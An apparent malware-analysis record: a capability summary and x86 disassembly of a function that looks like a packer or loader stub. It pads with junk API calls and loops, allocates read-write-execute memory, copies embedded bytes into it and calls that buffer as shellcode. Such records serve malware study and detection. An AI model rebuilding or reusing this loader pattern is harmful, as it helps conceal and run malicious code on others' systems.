Function at 0x403340
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Get file attributes
Get hostname
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x40336a
inc esi
cmp esi, 0x73f04bd
jl 0x403356
cmp dword [0x45eb44], 0x400
jne 0x4033d0
push ebx
lea eax, [ebp - 0x41c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push ebx
push ebx
call fcn.00403b19
push ebx
push ebx
push ebx
call fcn.00403f57
add esp, 0x14
push ebx
call fcn.00404053
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004039f0
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
sub esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004039d0
fstp st(0)
add esp, 0x10
cmp dword [0x45eb44], 0x93
jne 0x40342c
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0x402ecc
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push ebx
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
call fcn.00403c79
push ebx
call fcn.00403c58
add esp, 0xc
push ebx
call fcn.00403c6e
add esp, 4
call fcn.00403330
push ebx
push ebx
call fcn.00403eac
add esp, 8
mov eax, dword [0x45eb44]
mov ecx, dword [0x459cd4]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x45f980], ecx
mov dword [0x45eb44], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x45e5d4], eax
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x403460
cmp dword [0x45eb44], ebx
jbe 0x4034f2
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
nop
mov edx, dword [0x45f980]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x45e5d4]
mov byte [ecx + esi], al
cmp dword [0x45eb44], 0x490
jne 0x4034e7
push 0
lea edx, [ebp - 4]
push edx
call edi
push 0
call ebx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push 0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x402f08
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
inc esi
cmp esi, dword [0x45eb44]
jb 0x403480
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor esi, esi
mov edx, dword [0x45eb44]
add edx, esi
cmp edx, 0x8d
jne 0x403537
push 0
lea eax, [ebp - 0x81c]
push eax
push 0
push 0
push 0
push 0
call edi
push 0
lea ecx, [ebp - 8]
push ecx
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
inc esi
cmp esi, 0x38681
jl 0x403500
call fcn.00403290
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edi, edi
xor esi, esi
nop
cmp esi, 0xfa62c8f
jge 0x40355a
call ebx
cmp esi, 0x207142
jg 0x40356b
inc esi
cmp esi, 0x67d12
jl 0x403550
xor esi, esi
lea ecx, [ecx]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x40358e
mov dword [ebp - 4], edi
add dword [ebp - 4], 0x7088
mov edx, dword [ebp - 4]
add dword [0x45e5d4], edx
inc esi
cmp esi, 0x674bd
jl 0x403570
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
mov dword [ebp - 4], 0x7b
cmp dword [0x45eb44], 0x86
jne 0x4035e8
push 0
call esi
push 0
lea eax, [ebp - 0x81c]
push eax
push 0
call edi
push 0x402f94
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0x45eb44], 0xf
jne 0x4035fb
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
sub dword [ebp - 4], 1
jne 0x4035b0
push 0x402fa4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x45e5d4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret